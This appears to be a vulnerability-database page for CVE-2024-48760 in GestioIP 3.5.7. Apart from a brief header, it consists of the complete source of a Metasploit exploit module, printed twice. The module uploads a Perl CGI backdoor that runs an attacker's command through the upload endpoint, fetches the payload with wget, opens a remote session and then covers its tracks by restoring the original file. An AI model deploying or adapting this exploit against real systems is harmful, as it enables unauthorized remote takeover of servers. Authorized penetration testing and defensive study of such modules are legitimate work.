9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module exploits a command execution via file upload. If GestioIP is configured to use no authentication for admin account, no password is required to exploit the vulnerability. Otherwise, an authenticated user with admin right on the web site is...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-GESTIOIP_RCE-
Published
May 14, 2026 at 19:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GestioIP 3.5.7 Remote Command Execution',
'Description' => %q{
This module exploits a command execution via file upload.
If GestioIP is configured to use no authentication for admin account,
no password is required to exploit the vulnerability. Otherwise, an authenticated
user with admin right on the web site is required to exploit.
},
'License' => MSF_LICENSE,
'Author' => [
'maxibelino', # Original finder of CVE-2024-48760
'odeez24' # Metasploit module
],
'References' => [
[ 'CVE', '2024-48760' ],
[ 'URL', 'https://github.com/maxibelino/CVEs/tree/main/CVE-2024-48760']
],
'Platform' => [ 'linux' ],
'Targets' => [
[
'Linux/unix Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => ['linux'],
'Type' => :nix_fetch,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_DELETE' => true
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-01-14',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username to auth as with admin right', 'gipadmin']),
OptString.new('PASSWORD', [true, 'The password to auth with', '']),
]
)
end
def backdoor_content(payload = nil)
<<~PERL
#!/usr/bin/perl -w
use strict;
print "Cache-Control: no-cache\n";
print "Content-type: text/html\n\n";
system(q(#{payload}));
PERL
end
def original_content
<<~'PERL'
#!/usr/bin/perl
use Cwd;
use CGI;
my $debug = 1;
my $q = new CGI;
my ($status, $message, $exit);
my $output_type_header = "text/xml";
$exit = 0;
my $filename = $q->param("file_name") || "";
print STDERR "FOUND FILENAME: $filename\n" if $debug;
if ( $filename !~ /^[A-Za-z0-9-_.]+$/ ){
$message = "ERROR: only the following characters are allowed for file_name: A-Z,a-z,0-9,-,_,.";
$status ="400 Bad Request";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
$POST_MAX=1024 * 10000; # 10MB max
my $content_length = defined $ENV{'CONTENT_LENGTH'} ? $ENV{'CONTENT_LENGTH'} : 0;
if (($POST_MAX > 0) && ($content_length > $POST_MAX)) {
$message = "ERROR: Upload is limited to a file size of max. 10MB";
print STDERR "$message\n" if $debug;
$status ="500 Internal Server Error";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
my $lightweight_fh = $q->upload('leases_file');
if (defined $lightweight_fh) {
print STDERR "HANDLE DEFINED\n" if $debug;
# Upgrade the handle to one compatible with IO::Handle:
my $io_handle = $lightweight_fh->handle;
my $file = '/usr/share/gestioip/var/data/' . $filename;
open (OUTFILE,'>', "$filename") or $message = "ERROR: can not open file to write: $!";
if ( $message ) {
print STDERR "$message\n" if $debug;
$status ="500 Internal Server Error";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
while ($bytesread = $io_handle->read($buffer,1024)) {
print OUTFILE $buffer;
}
close OUTFILE;
} else {
print STDERR "NO HANDLE DEFINED\n" if $debug;
$message = "ERROR: No leases file received";
$status ="400 Bad Request";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
$status ="200 OK";
printResponse(
message => "OK",
status => "$status",
exit => "$exit",
);
###################
#### Subroutines
###################
sub printResponse {
my %args = @_;
my $status = $args{status} || "";
my $message = $args{message} || "";
my $exit = $args{exit} || 0;
my $output = "";
$output .= "<?xml version='1.0' encoding='UTF-8'?>\n";
$output .= "<Result>\n";
$output .= " <Message>$message</Message>\n";
$output .= "</Result>\n";
printHtmlHeader(
type => "$output_type_header",
status => "200 OK",
);
print $output;
exit $exit;
}
sub printHtmlHeader {
my %args = @_;
my $type = $args{type} || "";
$type = "-type => \"$type\"" if $type;
my $status = $args{status} || "";
$status = "-status => \"$status\"" if $status;
my $header_params = $type . "," . $allow . "," . $location . "," . $status;
$header_params =~ s/^,//;
$header_params =~ s/,$//;
print $q->header( eval($header_params) );
}
#curl \
# -F "userid=1" \
# -F "filecomment=This is an image file" \
# -F "image=@/home/user1/Desktop/test.jpg" \
# localhost/uploader.php
PERL
end
def check
print_status('Checking if the target is reachable...')
if upload_file('README_server.txt', '')
return Exploit::CheckCode::Vulnerable('File upload successful, the target is vulnerable GestioIP')
end
Exploit::CheckCode::Safe('Target is not vulnerable')
end
# Upload the file on the target server
#
# @param filename [String] the filename to upload
# @param content [String] the content
# @return [Boolean] true if the file was successfully uploaded, false otherwise.
def upload_file(filename, content)
data = Rex::MIME::Message.new
data.add_part(
filename,
nil,
nil,
'form-data; name="file_name"'
)
data.add_part(
content,
'application/x-httpd-cgi',
nil,
"form-data; name=\"leases_file\"; filename=\"#{filename}\""
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
if res&.code == 200
if res.body.include?('ERROR')
return false
end
return true
elsif res.code == 401
print_error('Authentification refused, Please give valid admin login informations')
return false
else
return false
end
end
# Upload the payload for linux system to the target.
def execute_linux
print_status('Executing payload on the target server ...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
print_good('Payload successfully executed')
end
# Restore the original content of the target_link to remove the backdoor
# script.
def on_new_session(session)
super
begin
print_status('Cleaning up backdoor file on target server ...')
if session.type == 'meterpreter'
session.fs.file.rm('README_server.txt')
session.fs.file.new('upload.cgi', 'wb').write(original_content)
fd.close
else
session.shell_command_token('rm README_server.txt')
session.shell_command_token("echo #{Base64.strict_encode64(original_content)} | base64 -d > upload.cgi")
end
print_good('Backdoor file successfully removed')
end
end
# Main method to run the exploit.
def exploit
print_status('Upload the backdoor file ...')
content = backdoor_content(payload.encoded)
unless (upload_file('upload.cgi', content))
fail_with(Failure::NotVulnerable, 'Unable to upload the backdoor file')
end
print_good('Backdoor file successfully uploaded')
execute_linux
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GestioIP 3.5.7 Remote Command Execution',
'Description' => %q{
This module exploits a command execution via file upload.
If GestioIP is configured to use no authentication for admin account,
no password is required to exploit the vulnerability. Otherwise, an authenticated
user with admin right on the web site is required to exploit.
},
'License' => MSF_LICENSE,
'Author' => [
'maxibelino', # Original finder of CVE-2024-48760
'odeez24' # Metasploit module
],
'References' => [
[ 'CVE', '2024-48760' ],
[ 'URL', 'https://github.com/maxibelino/CVEs/tree/main/CVE-2024-48760']
],
'Platform' => [ 'linux' ],
'Targets' => [
[
'Linux/unix Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => ['linux'],
'Type' => :nix_fetch,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_DELETE' => true
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-01-14',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username to auth as with admin right', 'gipadmin']),
OptString.new('PASSWORD', [true, 'The password to auth with', '']),
]
)
end
def backdoor_content(payload = nil)
<<~PERL
#!/usr/bin/perl -w
use strict;
print "Cache-Control: no-cache\n";
print "Content-type: text/html\n\n";
system(q(#{payload}));
PERL
end
def original_content
<<~'PERL'
#!/usr/bin/perl
use Cwd;
use CGI;
my $debug = 1;
my $q = new CGI;
my ($status, $message, $exit);
my $output_type_header = "text/xml";
$exit = 0;
my $filename = $q->param("file_name") || "";
print STDERR "FOUND FILENAME: $filename\n" if $debug;
if ( $filename !~ /^[A-Za-z0-9-_.]+$/ ){
$message = "ERROR: only the following characters are allowed for file_name: A-Z,a-z,0-9,-,_,.";
$status ="400 Bad Request";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
$POST_MAX=1024 * 10000; # 10MB max
my $content_length = defined $ENV{'CONTENT_LENGTH'} ? $ENV{'CONTENT_LENGTH'} : 0;
if (($POST_MAX > 0) && ($content_length > $POST_MAX)) {
$message = "ERROR: Upload is limited to a file size of max. 10MB";
print STDERR "$message\n" if $debug;
$status ="500 Internal Server Error";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
my $lightweight_fh = $q->upload('leases_file');
if (defined $lightweight_fh) {
print STDERR "HANDLE DEFINED\n" if $debug;
# Upgrade the handle to one compatible with IO::Handle:
my $io_handle = $lightweight_fh->handle;
my $file = '/usr/share/gestioip/var/data/' . $filename;
open (OUTFILE,'>', "$filename") or $message = "ERROR: can not open file to write: $!";
if ( $message ) {
print STDERR "$message\n" if $debug;
$status ="500 Internal Server Error";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
while ($bytesread = $io_handle->read($buffer,1024)) {
print OUTFILE $buffer;
}
close OUTFILE;
} else {
print STDERR "NO HANDLE DEFINED\n" if $debug;
$message = "ERROR: No leases file received";
$status ="400 Bad Request";
$exit = 1;
printResponse(
message => "$message",
status => "$status",
exit => "$exit",
);
}
$status ="200 OK";
printResponse(
message => "OK",
status => "$status",
exit => "$exit",
);
###################
#### Subroutines
###################
sub printResponse {
my %args = @_;
my $status = $args{status} || "";
my $message = $args{message} || "";
my $exit = $args{exit} || 0;
my $output = "";
$output .= "<?xml version='1.0' encoding='UTF-8'?>\n";
$output .= "<Result>\n";
$output .= " <Message>$message</Message>\n";
$output .= "</Result>\n";
printHtmlHeader(
type => "$output_type_header",
status => "200 OK",
);
print $output;
exit $exit;
}
sub printHtmlHeader {
my %args = @_;
my $type = $args{type} || "";
$type = "-type => \"$type\"" if $type;
my $status = $args{status} || "";
$status = "-status => \"$status\"" if $status;
my $header_params = $type . "," . $allow . "," . $location . "," . $status;
$header_params =~ s/^,//;
$header_params =~ s/,$//;
print $q->header( eval($header_params) );
}
#curl \
# -F "userid=1" \
# -F "filecomment=This is an image file" \
# -F "image=@/home/user1/Desktop/test.jpg" \
# localhost/uploader.php
PERL
end
def check
print_status('Checking if the target is reachable...')
if upload_file('README_server.txt', '')
return Exploit::CheckCode::Vulnerable('File upload successful, the target is vulnerable GestioIP')
end
Exploit::CheckCode::Safe('Target is not vulnerable')
end
# Upload the file on the target server
#
# @param filename [String] the filename to upload
# @param content [String] the content
# @return [Boolean] true if the file was successfully uploaded, false otherwise.
def upload_file(filename, content)
data = Rex::MIME::Message.new
data.add_part(
filename,
nil,
nil,
'form-data; name="file_name"'
)
data.add_part(
content,
'application/x-httpd-cgi',
nil,
"form-data; name=\"leases_file\"; filename=\"#{filename}\""
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
if res&.code == 200
if res.body.include?('ERROR')
return false
end
return true
elsif res.code == 401
print_error('Authentification refused, Please give valid admin login informations')
return false
else
return false
end
end
# Upload the payload for linux system to the target.
def execute_linux
print_status('Executing payload on the target server ...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
print_good('Payload successfully executed')
end
# Restore the original content of the target_link to remove the backdoor
# script.
def on_new_session(session)
super
begin
print_status('Cleaning up backdoor file on target server ...')
if session.type == 'meterpreter'
session.fs.file.rm('README_server.txt')
session.fs.file.new('upload.cgi', 'wb').write(original_content)
fd.close
else
session.shell_command_token('rm README_server.txt')
session.shell_command_token("echo #{Base64.strict_encode64(original_content)} | base64 -d > upload.cgi")
end
print_good('Backdoor file successfully removed')
end
end
# Main method to run the exploit.
def exploit
print_status('Upload the backdoor file ...')
content = backdoor_content(payload.encoded)
unless (upload_file('upload.cgi', content))
fail_with(Failure::NotVulnerable, 'Unable to upload the backdoor file')
end
print_good('Backdoor file successfully uploaded')
execute_linux
end
end